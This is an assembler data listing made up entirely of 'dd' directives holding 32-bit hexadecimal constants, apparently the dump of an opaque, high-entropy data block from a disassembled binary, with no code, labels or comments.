dd 11075E92h, 16EE054Ah, 2D832922h, 5A1DECB9h, 325EB333h
dd 0B0F50072h, 9D4BD926h, 14643CD4h, 62BDD20Eh, 0F1E50E5Ah
dd 76F94D9h, 80FE2838h, 2095EE80h, 8E8F14Ah, 132EF226h
dd 689261BEh, 0B20D009Bh, 11AC012Ch, 62976135h, 66F32BDAh
dd 254431C1h, 0CDCB7E40h, 281A6809h, 1992A630h, 35394B00h
dd 502F17E3h, 0DD81EF7h, 3128BBEDh, 0C03DD1A7h, 10869524h
dd 0EBF05B37h, 3C20F783h, 667340E3h, 4F1C55B2h, 0D01F722Ch
dd 2E8F6DFAh, 14C8EA6h, 43B55165h, 5059D828h, 295590A1h
dd 7B6A204Bh, 0A00227FEh, 9AF6E74Eh, 0F12D0BBCh, 2456E61Eh
dd 5F17099Fh, 14EEDB48h, 215E4212h, 0F6107CF9h, 685804D3h
dd 9ED85AA1h, 9671732h, 92580374h, 3210B336h, 2C009714h
dd 0D8285AA2h, 564B4668h, 480448E3h, 84E92204h, 74F4AE37h
dd 7366795Ch, 1732CBF9h, 0F889AEDBh, 4E12F7B1h, 68131A50h
dd 16623EEBh, 0D510EA9Ch, 5EB545FAh, 0F17F18E6h, 11BB5E52h
dd 56680A3Ch, 0EAC7FC15h, 75786E92h, 0B9513340h, 1914D50Bh
dd 5CDD00Dh, 0E905A877h, 0BFB44269h, 0E9423FACh, 7B9FA780h
dd 0E9137A25h, 0C0F84399h, 7972EFD7h, 0BD667777h, 54396816h
dd 21F4F9F8h, 7BEC685Ah, 0ADD36AECh, 1BB992B1h, 0C46652D7h
dd 61E582E8h, 5062794Ah, 8E820379h, 0DD3CA969h, 77159FB3h
dd 2C236E9h, 0B0701ABDh, 0E807F730h, 0F10DE43h, 0AE621BEFh
dd 0B82DF54h, 562C5855h, 420635A0h, 31D64017h, 0D84398C1h
dd 0F75A08AAh, 69799AC0h, 822C7FC7h, 0B56B78Ah, 0ECDAD2BAh
dd 0B060F3EEh, 8F62D86h, 0E88F9025h, 0FB558265h, 519C3E51h
dd 0BA5D27D8h, 49C55C17h, 0E3C28654h, 24F11A1Ch, 79A1EE81h
dd 0B53F22A3h, 0AD08041Dh, 706611E4h, 0F66ADD41h, 6215C968h
dd 7F165564h, 0DE9E2991h, 0E7E9F382h, 249464A3h, 82CAD5C7h
dd 29F4684Ah, 5E61CE74h, 60F64C42h, 2F2F194Dh, 0ED5365Ch
dd 7F4B7DDDh, 4107A418h, 0FBBBDB83h, 7076EACAh, 0F6801362h
dd 81DFAF8h, 0C432C68Fh, 0FEF4B2ECh, 0E37C179Dh, 0BA84AF51h
dd 6AC10857h, 2D80308Ch, 0CFADA3C7h, 0D200054Ah, 2D3CE70Dh
dd 4F5468EAh, 5E9E13Fh, 8BB10107h, 6A286333h, 0B80ED098h
dd 9722FB5h, 4D4BF6F8h, 7AB8E500h, 950E8851h, 31200650h
dd 500F20FEh, 49C02D05h, 0D8A03638h, 25031291h, 4EC00145h
dd 3EFBE91Eh, 58641F87h, 56F48697h, 72A288A8h, 0FB27257Ch
dd 0A89A4580h, 0FD5182C5h, 6DA98415h, 0BF8794BEh, 27E97738h
dd 68C5A058h, 286FDC08h, 55570887h, 2CBF116Dh, 29890209h
dd 0C2CF84D9h, 20B1F3AAh, 3573B789h, 0C31CF5A5h, 903DD3BDh
dd 5D5EA202h, 326252D1h, 0FA3103AFh, 24F981B9h, 6C0FEB66h
dd 6B40C556h, 68C47687h, 673101C2h, 0FD4217EFh, 0D07BA537h
dd 4E35F047h, 0DD8BB83Bh, 0F3088D31h, 7AF12D3Ah, 3A39F5E8h
dd 52A0CB80h, 0D3E91DB2h, 8FD4819Dh, 0E37A3042h, 9B1FD699h
dd 574B2620h, 0FADB1630h, 0B7A292Dh, 0B55CACB0h, 0D7F244E2h
dd 5D4BCC14h, 5F5AE205h, 7F1501FFh, 6F21380Dh, 196ABA3h
dd 0B51A65EEh, 5AC26807h, 51C9A8E8h, 0FCD54CDFh, 8D584FA6h
dd 0EDF62FEDh, 70802D05h, 283DF85Dh, 61F80705h, 0A2B5513h
dd 0CB13180Ah, 81905167h, 0BF731F3Ah, 607BB2B0h, 3A50EF96h
dd 171CB7E8h, 0E708E690h, 61F7E58h, 2077D8E9h, 0A707B43Bh
dd 574AE2B2h, 0CDB7BE4Eh, 0AE2C387Bh, 706860F8h, 30ED7C64h
dd 275F8433h, 0B6A73899h, 43800E42h, 78FB7617h, 60712C8h
dd 2441686Bh, 5250E379h, 0B397D3E2h, 24728276h, 266A1814h
dd 919BB575h, 8AE8C9CAh, 7DEEF1F7h, 58ECF45Dh, 42497FA4h
dd 0CE810102h, 6BBF12E4h, 0B793DC20h, 0CB896CB0h, 1315C4B5h
dd 4417D39h, 1392C560h, 0DE7C05AFh, 74D9EBE7h, 92AFED3Ah
dd 0B851C0E0h, 121E58A7h, 0FE702084h, 0A22E979Dh, 20A09FF8h
dd 0B03EC320h, 0C03FFECEh, 88E8E4E8h, 5103BB52h, 8E42121Eh
dd 560D1F0Ch, 6A612F3Bh, 4913396h, 67542990h, 796186C7h
dd 0A53A1BADh, 9C0805AAh, 314A972Ah, 0BD02B1F7h, 0E7C5737h
dd 45005376h, 0AFE9317Eh, 0ABF7D39Fh, 0DFD3757h, 1FE00EE4h
dd 90CEBA13h, 683A285Bh, 4658CB27h, 0CC332A39h, 0BA56F021h
dd 80BE049Eh, 0BAF8AC7Bh, 7D92B592h, 0E8C32720h, 174AD193h
dd 0D9006EC4h, 1C7E50F1h, 0B18E32E9h, 99C1D853h, 64D4C601h
dd 0F5225540h, 5FDBCB1Ch, 68043BE5h, 4EA8460Bh, 851909B5h
dd 77EB605Eh, 8275B02h, 0FE3AE05Fh, 7E8076CDh, 20629043h
dd 5E4E0E48h, 0A7BA14C4h, 815C0034h, 0BD7FD2F3h, 85E92F1Bh
dd 3E5B2661h, 0BAB678A8h, 44656812h, 1BC962ECh, 5D9EE2FFh
dd 0F1310734h, 0B55125B1h, 44BA85CBh, 166F3E82h, 7DD5C407h
dd 20C69A6h, 0C5AC567h, 0E8F0E8E9h, 1AC8312Fh, 0C3AED69Ah
dd 620FB2CAh, 131A75BFh, 138FF5E0h, 1C816E5h, 0E44D2416h
dd 3C74F95Dh, 0EF0118A1h, 81825E10h, 985BBC66h, 54EABADh
dd 0C2ED272Dh, 91810058h, 0BD903AB0h, 39F07827h, 31862D34h
dd 2A09CA42h, 0F87FE915h, 346F13E9h, 49E763CCh, 0D29D3B35h
dd 96F3EDEBh, 0BF354D18h, 0B03A3E3Bh, 0AAE78182h, 2E605537h
dd 5A2487EFh, 0AD3F846Eh, 0A6C15317h, 5B3200CAh, 0CA812046h
dd 9962BC16h, 0E8ADE06h, 7CAC1399h, 9459C594h, 0B38EEEADh
dd 2A89BD4Fh, 459F8825h, 48CA8A4Ch, 89ECA562h, 2E4CEB59h
dd 20137C50h, 9DF89325h, 4810B250h, 0F7B0F458h, 0B3A2205Fh
dd 812E1A0Ch, 0C2073005h, 0B40491E3h, 0FE1798E1h, 4E16CC36h
dd 318746A7h, 0EF0BF311h, 8018E663h, 21C5E238h, 0F70B02CBh
dd 0D13BE9D2h, 90056C7Fh, 41C35F08h, 6A4DC183h, 21AD4079h
dd 740B7A78h, 922DBCE9h, 0CCD18476h, 0D425FE13h, 5D1F8BBBh
dd 55949F15h, 0AE68C2DFh, 30ECD512h, 99EAE910h, 45B95101h
dd 2A5D3A38h, 81003CE2h, 0DB9DF9F1h, 0CE2F09BEh, 0ED478259h
dd 0FD6801F2h, 7B982E77h, 2DD32505h, 3B02EA81h, 1AB2001Dh
dd 0E9170A03h, 27DCC08h, 7532307Ch, 5D57F460h, 62B3312Ch
dd 0F129943Ah, 0D8D127E2h, 916D3226h, 497CC14Ah, 60E58A7h
dd 12F9721h, 8B0228F9h, 4F460663h, 2DA25D47h, 9576EC8Ah
dd 2FD9B588h, 4908C5FCh, 6A7E30B8h, 417B114Ch, 0A3C09B5Ah
dd 97F932Dh, 0C689B727h, 4072584h, 0C7EF3804h, 7FB34BD2h
dd 0B2F3D883h, 0EB68EFE0h, 9AF35C4Bh, 0EDC0DB03h, 22F15307h
dd 0C06D3C50h, 8AC180A1h, 6AB62652h, 5DAE1E61h, 0ED1F3ECDh
dd 0B7F5C221h, 255EE30h, 812079C6h, 639DE9C6h, 740D292Eh
dd 7BEB687Dh, 4F2016D8h, 38F13708h, 3DCC5DE9h, 0F84FF69Dh
dd 0C21CBD55h, 0E9872E3Ah, 0DD0BB67Eh, 5B9000E8h, 0AD7AE23Eh
dd 5D826265h, 0FBC19043h, 581097BCh, 6E7437EDh, 7DEA12ACh
dd 39041DB0h, 0BAAF6A3Eh, 11A96EC3h, 850ABCA9h, 640A309Ch
dd 123775F0h, 0F832D94Ch, 0D8A0738Ch, 8265C1h, 52503CEFh
dd 62E5F63Dh, 3664EB76h, 0F15A966Ch, 0AD5FA1A8h, 3914C8DFh
dd 33A0E720h, 702613F7h, 59069C3Fh, 90D9B3Eh, 72960A89h
dd 0FE032C80h, 0E912CDEFh, 74BFB1B7h, 149B024Bh, 0A2602D78h
dd 0C00B05C5h, 7F010CD6h, 2D051E46h, 543D71C1h, 0D9A83985h
dd 21462503h, 47A87372h
dd 403AE63h, 0C27CD405h, 56FD1213h, 38B6F3A4h, 710D2F68h
dd 4A2A619h, 0A2CC39E9h, 2349BCDh, 0BD4892E8h, 6CF23179h
dd 0BC525830h, 98E0EA0h, 107A6866h, 2842181Ah, 87FFEC29h
dd 0DA0B6440h, 3F7C0BF9h, 16777DBDh, 6293945Eh, 97C7C48h
dd 552ED087h, 2C76F69Bh, 4F6903EBh, 0E5B07BCBh, 3EEB23D8h
dd 30DE4580h, 0A4775E3Ah, 7DF6EBF4h, 0AC4DF72Eh, 2454BA01h
dd 41F3013Ah, 1CA0081Ch, 0F05D4E14h, 0A840AB34h, 80E103D0h
dd 0D1F6D2F1h, 0D60E0467h, 0CAA425A9h, 0D623CBB4h, 2C5C812Eh
dd 0BDD82B21h, 5901403Bh, 3ABA575Fh, 0FBB0284h, 577AC3C0h
dd 0F931B560h, 0E1C15F7Eh, 5168C8C5h, 4C50A620h, 4EC1038Ah
dd 2B025E75h, 92305129h, 9E3C060Dh, 7C4E460Bh, 0E21E8A01h
dd 3E7068C3h, 0C83FC151h, 5DEA5180h, 2965AA03h, 96FE29Dh
dd 965DD08h, 4EECC396h, 0E9B37442h, 18775BFAh, 80F857F7h
dd 0F2774B8h, 868ED593h, 0BF0BC473h, 0C0D3C6A3h, 3855BC64h
dd 68575F00h, 796E7AB1h, 84EE4BE9h, 3F4A7DC2h, 0ED3EAACDh
dd 660B9642h, 971A5BD4h, 7D39FF53h, 0D05468A5h, 0FF23E98Bh
dd 0F57708AFh, 0E3DC03A3h, 0A82D1600h, 296A6779h, 525501F8h
dd 0A6435468h, 1F0F2B0Ch, 0AB34A017h, 99EE4EE9h, 0D37A10D5h
dd 0F6538612h, 0E68CD146h, 7CBC2729h, 0FEB55BCCh, 5CEA601Bh
dd 2B5F0C4Eh, 841CAADh, 0EA9CD87Eh, 450DB4C4h, 0C7818DD0h
dd 1FC87507h, 96788A05h, 438EE118h, 0C1E59C91h, 2EC4C3A2h
dd 30B212ECh, 753C4A7Fh, 0E9502CF1h, 443AEB5Eh, 52D3EABCh
dd 805420Ch, 0E394C35Bh, 43DB323Bh, 0FECB0E0Fh, 0DBF7C73Ch
dd 58D387F3h, 0DA17CA0Ch, 0BBFC5FC9h, 2409AFA5h, 464584F7h
dd 4A690D80h, 0EF184F84h, 43A6A906h, 0F2425C81h, 9F68F905h
dd 0F5A10047h, 52408D20h, 0EFD95E50h, 0F470310Dh, 95066054h
dd 50F6B511h, 720EE9C2h, 0BBA2BDC0h, 56E14819h, 0EE0F2BC1h
dd 9724C1BDh, 0B47F0907h, 0F6B5511Bh, 0D590540Bh, 0E201FD1Dh
dd 0CF6E7865h, 0CEA17A64h, 81D33147h, 5ECBC3ACh, 0F3D8226Ch
dd 0D8BC04EEh, 42DA8964h, 571F15E9h, 5E7F3422h, 2C9BA0D7h
dd 495768F5h, 2810903Ch, 18E45A52h, 8578B73Eh, 662ED0F8h
dd 629D915Ah, 26491A6h, 607329F4h, 92CDCBFDh, 44480E2Eh
dd 1C6F0055h, 41351B16h, 904AEE46h, 7EF1482Bh, 3A768C2h
dd 0F22CC655h, 30185E3Ah, 0D6C65E0h, 3BB96D13h, 7F87900Bh
dd 0F9C17A40h, 1561231Dh, 241D10AEh, 3F001CD6h, 53442F1Ah
dd 0F1F94021h, 1055090Ch, 2FE3611h, 68FDEBADh, 19555791h
dd 82640B50h, 0E068FF21h, 4C9AE8A5h, 474B0189h, 6F298A16h
dd 0F91D46Fh, 2DBC62B2h, 54C9E5D1h, 3768C13Bh, 21BF5163h
dd 0E33500A4h, 10F50022h, 0C158C609h, 0FDA002E6h, 3B277237h
dd 0CF3A6831h, 0C158810Dh, 0B050E4D1h, 0FB0C301Fh, 0F228C289h
dd 0ED9B019Ah, 895B3987h, 2F6F66DDh, 0C264FC31h, 10905F53h
dd 46799F2Dh, 416D374Ch, 0EC0804AAh, 0BAC0126Dh, 2E149CBBh
dd 53B9175Bh, 12B7B984h, 4EB707BFh, 0DC42BB8Ah, 2B0641h
dd 3DD9DCBDh, 0BE1A7FD0h, 3BAF43A2h, 11F0D52Bh, 78D274B5h
dd 0AAA9B6DBh, 6D927A06h, 0FAE5572Ch, 0A908C7ACh, 0ADAD1475h
dd 0D9609C04h, 0FB4E8126h, 0A0EE049Ah, 0B538ADC9h, 0ED76CCFFh
dd 53CD7120h, 920F03h, 0DFC0DA4Fh, 0F03E0109h, 842D528Bh
dd 0C9EC49E9h, 33B70928h, 0C35514ACh, 0D05F20C8h, 0ADDE293Eh
dd 0FD18556Ch, 68BFEDB7h, 9758C145h, 7C9CA79h, 7005D07Dh
dd 62470CEAh, 0F4728616h, 512EE779h, 81403CF2h, 0A1063834h
dd 5AC0BFE1h, 0A807B743h, 0DBA8BEEBh, 49CC053Bh, 56F08C3Eh
dd 6D00BD7Ch, 0DA0E20BFh, 0F7811A01h, 53917796h, 3C89BD40h
dd 25D0985Ch, 7F9B45C9h, 473F6C9h, 6EC5DCAAh, 0BC080B44h
dd 0DFB2D4Dh, 8AFE5F12h, 0DA2E1043h, 8DDF716h, 5027C276h
dd 0BFFAFED7h, 0A8597904h, 9D68A0CEh, 6F369639h, 45AD1F6Dh
dd 4C1BB70h, 0DC6FCFDDh, 2BD5406h, 774BB975h, 0F7262A47h
dd 621F425h, 154653E9h, 0A0DAEA81h, 990BF7DDh, 7F53FC2Ah
dd 804EBC2h, 4050CB59h, 3604EBD7h, 6EE90E9Ch, 905587E0h
dd 548E0CDFh, 0E3186D1Bh, 0F025C4B7h, 24EB5B87h, 0A8F301A1h
dd 63B2920h, 4C8A0B74h, 0A6C23E94h, 6E0D8257h, 0DE66C075h
dd 0C6312B5Bh, 0C5E98470h, 2F3788F0h, 44C1191Eh, 97DFE1CAh
dd 0ED6C7D6Bh, 5A1FD20h, 8B285A68h, 5B40CB5Eh, 8BFCA1C5h
dd 0CF07B01h, 2868FE9h, 5825F29h, 270A9436h, 38BC4717h
dd 6C97EA80h, 0A8BD4B57h, 0FA330874h, 0AE92F3E2h, 89A12F6h
dd 5587062Bh, 592540FAh, 0B816F65Fh, 5D4A5720h, 15E60E0h
dd 35054671h, 0C9414ACBh, 0B110DC48h, 68743B27h, 971450FBh
dd 0C94E6159h, 0DAA6C902h, 2BF7D24h, 21F20980h, 0E960CF81h
dd 0CD35DA0h, 8869205h, 0F4E07982h, 0D249A8h, 613D3B24h
dd 200CF269h, 0DEBD35ABh, 2180DA95h, 639644A9h, 68408D90h
dd 94A0FBBh, 0FC442330h, 0BA9794C4h, 4CC133B0h, 730F2479h
dd 0FD93CF89h, 38DC026Ah, 0DC5DEF21h, 60851F23h, 207E6813h
dd 0E93C68ABh, 0DAFDF05Fh, 0C2BAF10Eh, 99B02Ah, 6BA706A4h
dd 224A60E9h, 81FE73h, 0CDC2B290h, 1AEEE956h, 988B64B5h
dd 57B7602Dh, 0F46091EFh, 6087165Eh, 0CD0C5D30h, 0DE7FC20h
dd 368028D1h, 0BB5420B6h, 24B6B93Fh, 0FB2F3B01h, 92D7A71Ch
dd 0C14FDD62h, 4453B193h, 5C13DAAh, 0CDD607CEh, 0EF2CE438h
dd 13EA2834h, 6BCAEE6Ch, 0D83EF505h, 0BF910047h, 513B4A12h
dd 7827BAC1h, 0B57F72F7h, 0D3873EA3h, 6800D644h, 7A9D259Eh
dd 54FA585Fh, 84006674h, 0D530564h, 893A78B9h, 3AFD8028h
dd 7D2555CAh, 6A59030Bh, 490A792Dh, 2E38E9A9h, 0FEBF4D00h
dd 5F293A5Fh, 9133BA4Fh, 0A448D9F7h, 61ED9830h, 0F1802EA6h
dd 0E0C1CC1Dh, 2A842EE1h, 0E493A2AFh, 698F91C2h, 0E8C8C507h
dd 93B1BB50h, 32D8EB2Dh, 69A79D95h, 0EF5472C2h, 0D46EA077h
dd 0BA557241h, 22F0306Eh, 3A13EA79h, 5D251613h, 0F4C574BFh
dd 0DA9D0535h, 0E8E924DAh, 988DAA5Dh, 589F2483h, 0DA210BA6h
dd 3B8510E8h, 0F330792Dh, 80250058h, 2D224C01h, 0B1485A0Ah
dd 51C8D63h, 0A90B4441h, 58E52935h, 6D1BC82Fh, 4896697h
dd 77162041h, 1F8EBF5Dh, 8F250C5Ah, 0B20052DFh, 39E280C7h
dd 129DB353h, 8403E3C0h, 5404FA26h, 6609B7F2h, 54D532FDh
dd 9E194398h, 65ED8500h, 0C1273B30h, 26067EE5h, 89CAAFA5h
dd 53A15EF3h, 2857FF68h, 7C02C9F0h, 64FFEBB8h, 20DD31CBh
dd 7370B21Fh, 2EFDD367h, 0FC91AE92h, 0B823AA4Ch, 7B8FAC5Ah
dd 9AA06120h, 0D9C30B6Fh, 0D258CC13h, 1C3043E0h, 0B3C40C6Bh
dd 68170BE1h, 0C666624Ch, 13989520h, 4966CDFEh, 0E0A52892h
dd 2AC5EAC7h, 2B8E79AAh, 0ABA5E9B2h, 9567322Ch, 0E0367809h
dd 0C55E97Dh, 98256084h, 30DC6BDh, 7705DCB9h, 0A8F15209h
dd 2A2BA86Ch, 0BBF6314Fh, 8E04874Ch, 152D041h, 33B444D3h
dd 180B0CBEh, 4F7809E8h, 910CA84Fh, 41FA5657h, 7D713B59h
dd 24068ADCh, 663A2525h, 2D7832DAh, 52F7E829h, 34B5177Bh
dd 538FE030h, 0C02FA441h, 4340A3E7h, 7EFF557Ch, 76B7BB12h
dd 0E9B0075Ch, 27B479AAh, 9C59E95Bh, 85A3272Bh, 8991BBD5h
dd 0D1E101C5h, 0C405A25h, 604E15F6h, 5AE60C48h, 55800485h
dd 29C02813h, 0ACA42CCFh
dd 0DD8901DDh, 89DB82E9h, 0AF9D8E69h, 1727613Ah, 8AEC4D73h
dd 69A3BF7Ch, 224CF031h, 282C7D05h, 836962BAh, 0F84261ADh
dd 61F58166h, 23E90D65h, 34BB506Bh, 0C54B88A3h, 9D0E0846h
dd 9054A35Dh, 0B0584360h, 4F513190h, 0D8F5C2D5h, 0CCF6C031h
dd 54AAA34Fh, 842028A6h, 648D2951h, 50EA8E1Eh, 46E91549h
dd 51522DF4h, 0EAE9613Bh, 0F631021Bh, 0E28A432Fh, 0AAC142Ch
dd 57AD0C09h, 1475799Ah, 60A290D0h, 30B8CD65h, 3D5A8F28h
dd 9A3C0CEDh, 2A91B3DBh, 501E998h, 68807D99h, 4E30920Dh
dd 1F407639h, 0EF611A9Dh, 7670A0F0h, 6F31F49Fh, 92E82D7Fh
dd 301840F2h, 6EC4132h, 0DE122EB4h, 0EFACBF08h, 0A04578F7h
dd 9B95180h, 4C135FAAh, 8C96688Eh, 329CCCFEh, 977E0924h
dd 32E9A398h, 0B9054F92h, 6C755ED4h, 0C50E82h, 111667BDh
dd 3D13E4Ch, 53905B08h, 0CD5C02D1h, 35807509h, 0A71AE30Fh
dd 530C0513h, 90DA3DCh, 8F79C083h, 0EE06D9Eh, 2DD00159h
dd 19D71262h, 0D9EF06C0h, 0D82E5881h, 0EB3280F4h, 0FF060672h
dd 7EB6170h, 0FF0966B5h, 0CAF7676h, 6956F758h, 0DBA06376h
dd 40A95FA6h, 0E4F28281h, 6A649C1Bh, 58070432h, 0F7BFC1BFh
dd 7E04A8DAh, 0B81E6354h, 0BC44030Fh, 9087A476h, 11003799h
dd 0C4AD39D8h, 728ACCh, 0B13C02BFh, 0FE892466h, 22AC13E6h
dd 2F5DC370h, 0DD918569h, 12EDF2EAh, 4040CB76h, 1EB604A0h
dd 7DAD029h, 5E8ACC4Bh, 0C494D99Dh, 0AEA7AA8Fh, 0BD8CE90Ch
dd 729D056Ah, 3F77915Eh, 2AA4A929h, 614FA08Ch, 6D0E2474h
dd 0C7283C58h, 5083C308h, 0DBAFE954h, 757A8176h, 31E2B173h
dd 99E866CBh, 30E40BBFh, 30C99179h, 2D525019h, 0E0665355h
dd 545BDD25h, 0AD093F8h, 0A8BAC6F3h, 0D4A17FDh, 10E4A902h
dd 593F2438h, 8A2EAE4Fh, 21F18113h, 0ACA4E920h, 711985FDh
dd 63DAAE06h, 1D93F159h, 0E46A7F35h, 76021E22h, 895518D9h
dd 54E25FD5h, 76C27074h, 52ED565Fh, 195DE842h, 272C8953h
dd 5DFB2Fh, 0D06AA3E1h, 3CBD0F0Ah, 0AB53A2DBh, 96E94520h
dd 8649DB27h, 454A33B8h, 7D14E4C1h, 0D68E521Ah, 0D2901C9h
dd 4746CD68h, 0C5DE230h, 344D8369h, 0AECC0152h, 0F4D23EA0h
dd 82516814h, 77F82F2Bh, 2C5C6813h, 0CC1052A3h, 2AE90B57h
dd 0DE82FAECh, 0A40B8FFFh, 715ED65Eh, 36645FDh, 99AE035Ah
dd 4111444Bh, 2386B00Bh, 0E96700A8h, 55B78FECh, 0B5E0B674h
dd 83A4B47Ah, 5C76DE0Ch, 9A16F0F3h, 0A1B37F2Dh, 3754C000h
dd 5BB7E92Bh, 644F92B9h, 0F2F4A473h, 68E10FCDh, 169D2725h
dd 0B38EFBC8h, 1CCA9818h, 60B022Dh, 0DF5D5B3Ah, 0D255296Ah
dd 99A425BFh, 5BD69475h, 0BE4B070Dh, 28631341h, 42F9CA06h
dd 100C7491h, 30A3D67h, 863B43CEh, 26187D50h, 0FD9AB75h
dd 0FE8031EEh, 0DB1DE965h, 420E5C95h, 0B35D4B33h, 658D199h
dd 5D328363h, 47D42195h, 5FE9C158h, 0F108B80Ah, 416A0D8Ch
dd 7F1C505Ah, 0EEB2EC43h, 4609CAA4h, 74429806h, 0DBAC3395h
dd 2BC844D1h, 0CA38FEA1h, 4B4BAC97h, 12A539B8h, 0F643AF3Ah
dd 5EE3FBE9h, 0EF46AAE0h, 381098F7h, 0ECCF1368h, 7080B449h
dd 17697286h, 2CF0168h, 0EC7E6391h, 5031CD83h, 0C4872741h
dd 7F48A421h, 0CE693920h, 1B1F7E8Ch, 40434563h, 0EEB855Eh
dd 869C14Ah, 4C8A3C80h, 62B573F1h, 0CF480h, 59BD5E0Bh
dd 93192F05h, 1D763117h, 9402377Ah, 6F0AB116h, 96E6BB01h
dd 1221E82Bh, 0B88B77DAh, 1CF4657Fh, 0C00CF0D1h, 867807E1h
dd 8DAF634h, 363F92FAh, 9D31D455h, 0EACEBF48h, 3DC57644h
dd 990C74ABh, 0C7672454h, 0DC60273Eh, 400748E5h, 25A8808h
dd 0B17EE7E1h, 75987E33h, 5A1840AAh, 0D55C19CBh, 0E92A7864h
dd 83BCDC1Bh, 0DE72CAE9h, 0D1620404h, 40050009h, 2F2F1557h
dd 5AC1E8C1h, 309FC54Ah, 7613ED0Dh, 20405379h, 3F8F2562h
dd 0A70935E9h, 0BF99EA66h, 9582CFF0h, 4071404Ah, 28DDEB00h
dd 96290EBBh, 990820FCh, 0E9556150h, 0A8F53E1Eh, 8101776Ch
dd 4138E7CBh, 0D64DFC34h, 0F690EA95h, 0B3BC13A2h, 0E0FF50D1h
dd 0BC935C97h, 0A30BBB17h, 4F514FDh, 64428618h, 4D60B7C5h
dd 0A186FC7h, 0FD0C67D0h, 76732879h, 17C97D8Dh, 0E40174BBh
dd 671BD7E7h, 0C7126CCDh, 0C83708BAh, 0E2CC0A94h, 0D7BF7357h
dd 893CFBE7h, 0C1A344D9h, 4362E37Ch, 612A5C36h, 0C13B2147h
dd 3B069C8Dh, 8184AEB2h, 2ABA1755h, 0B50860EEh, 64ED806Bh
dd 0FEF00654h, 0BBF0B13h, 4894D531h, 42AF6391h, 0B107806Bh
dd 9D013418h, 0E74B6848h, 89FECB2Dh, 29EE5FD3h, 0D907A90h
dd 789AAB20h, 725F53h, 0DCF65A00h, 9570EC80h, 4258E62Ch
dd 0EE33E713h, 26302D59h, 0B6521C03h, 20F588F9h, 215A5595h
dd 0F8E1C7D1h, 5B795C34h, 0FB8ACD28h, 6DF5A182h, 6930C13h
dd 0B70FEDF9h, 6428A314h, 61FB9544h, 28777D0Fh, 39C8CCCBh
dd 5FD6EC57h, 0AA9E2CCDh, 9D8C205Fh, 537F4043h, 95D3F298h
dd 91EEE912h, 87731757h, 0EE6EF58Fh, 28B254D7h, 0FCE578Dh
dd 0F227D495h, 68120458h, 7FCC53A1h, 0FCFC5F9Eh, 90EED78Fh
dd 7C29BE1Fh, 36B04075h, 7F57550Eh, 0EBF6C06Eh, 90C3C9F9h
dd 5DD40286h, 0EE09278Dh, 49FDCE01h, 182B13D9h, 0BA63C9Eh
dd 0C40BA34h, 7CF6088Ch, 20B82D9Fh, 2DCA9F20h, 75957011h
dd 0C04AA32h, 0AB61AB5Eh, 146DD7E9h, 3E35C202h, 2BF865A1h
dd 3808EA51h, 0B4A2D6AAh, 16C8AFD7h, 0A23B4FBDh, 95781339h
dd 15418BABh, 11EA602Dh, 0B44043E1h, 0AAA94AB7h, 75B03EC2h
dd 0CFFEC140h, 6E1FE913h, 0B0F83F35h, 31614830h, 0DEB75DEBh
dd 4DE1051Ch, 0F86EC11Eh, 0FFB2205Fh, 9FC5C25Eh, 0C7F8C3FBh
dd 6A1DC3B9h, 37CE95B3h, 0C5047B50h, 92650147h, 55DCDC0h
dd 0C9C70238h, 0AA69E9C6h, 708D02D1h, 2A80A33Fh, 9721EFBAh
dd 0AFA04253h, 872D3CF7h, 2E29DDF6h, 485C2709h, 95187527h
dd 7FC7D697h, 4BD2A9E5h, 7C64D51Dh, 0DEF7FB38h, 805A69F9h
dd 56C9E937h, 0E81C4BD2h, 6FD31CCh, 0E906A9EFh, 14A1CD03h
dd 0D1B27EE1h, 303A2748h, 13581267h, 4E16B2Dh, 0DED49A0Dh
dd 2038F518h, 18CC948Bh, 130D32BEh, 0F2F22106h, 0E2819DEAh
dd 18066FDCh, 0BF65A07Eh, 136E5B02h, 5DD7DDE9h, 80108C91h
dd 42DCBEF7h, 954E1FECh, 6E63082h, 7858B442h, 0E00CBF07h
dd 0F1A2621Ah, 425B7939h, 69FE9514h, 10BFC8C9h, 0FC7CBDE5h
dd 0E8AB5E64h, 91E984CAh, 13EDEB9h, 9F07F25Eh, 2834BF07h
dd 72EFC54Fh, 0B352D781h, 2DBE72Fh, 0EA8094B2h, 0E4E97EB4h
dd 9586040Ch, 2C681E8Ch, 0C7AE576Fh, 13CF9C34h, 109F094h
dd 2BAA80DDh, 953D7D5Fh, 80151275h, 5945D672h, 0FE509F0Dh
dd 780EE10Eh, 0F801327Ch, 5F496DE9h, 5A9A8F20h, 1734B828h
dd 9E4992Bh, 0EF860947h, 0BEF489F2h, 0AB0C9883h, 0FB4C0321h
dd 0C139496Ah, 120B06B3h, 57EA18B6h, 1CCDE280h, 62BD7E94h
dd 0D8706A3Ah, 123E9D55h, 6AAE94Fh, 74EF299Ah, 44AD094Eh
dd 643D05D6h, 715897B4h, 93C8295Ah, 0FEA43916h, 20936044h
dd 0FB71B62Dh, 6573267Fh, 45DDC2E1h, 0F780872Dh, 0ECF8045Fh
dd 63E08D33h, 0C04866Fh, 0A84AB42Ch, 0CCFE0Bh, 0E530FDAAh
dd 98517958h, 860162B8h, 8A09D3E3h, 0B40AC5E1h, 7169EDE2h
dd 92E650B6h, 4484B2B4h, 0F4C0320Fh, 2A6106C9h, 2FBA6F19h
dd 9D277AE9h, 9A52A0EAh
dd 4AF85671h, 4A7BA559h, 4E061DBDh, 8C55327Ch, 2D5BA440h
dd 1841EA88h, 0F20684FFh, 0C282CAFEh, 0A4CF90E4h, 27FD1F58h
dd 0E8291241h, 17E84AD6h, 0AE21BFB5h, 188B4912h, 9D84C35Ch
dd 0A4B6AA92h, 4F518F4Fh, 0A16C054Bh, 43FA6893h, 8D4C8123h
dd 0E320E704h, 7EC532h, 2170CD3Bh, 0F29019E1h, 9DFDFC4Ch
dd 13C908CEh, 1247CBABh, 5BAC9236h, 1A5F81F7h, 0CECD403Bh
dd 181AF61Bh, 0C029F2E9h, 1268962Ah, 0AB015AE7h, 0D0E15DCDh
dd 68CA0F32h, 295F0918h, 0FDE94E48h, 8BB2CE4Bh, 38A93558h
dd 0B84D0B3Eh, 517D5013h, 0BC3A08EAh, 0CC08696Bh, 49282DDAh
dd 0BA276746h, 0D4125D91h, 0F1F5C87Dh, 98A3026Ch, 628FE99Fh
dd 2AB4A2FFh, 627DF637h, 7B517C5Ah, 0E807592Dh, 2CAD40A5h
dd 0E68019F1h, 0F320439h, 0F8446068h, 0AE8BC44Eh, 0FDB0B00h
dd 9B73C85h, 225B5583h, 788B22E9h, 0C11A2243h, 2F4F5652h
dd 792A47E1h, 88DD6EBBh, 4AB3CB6Bh, 0DE69262Ch, 54F2C3A5h
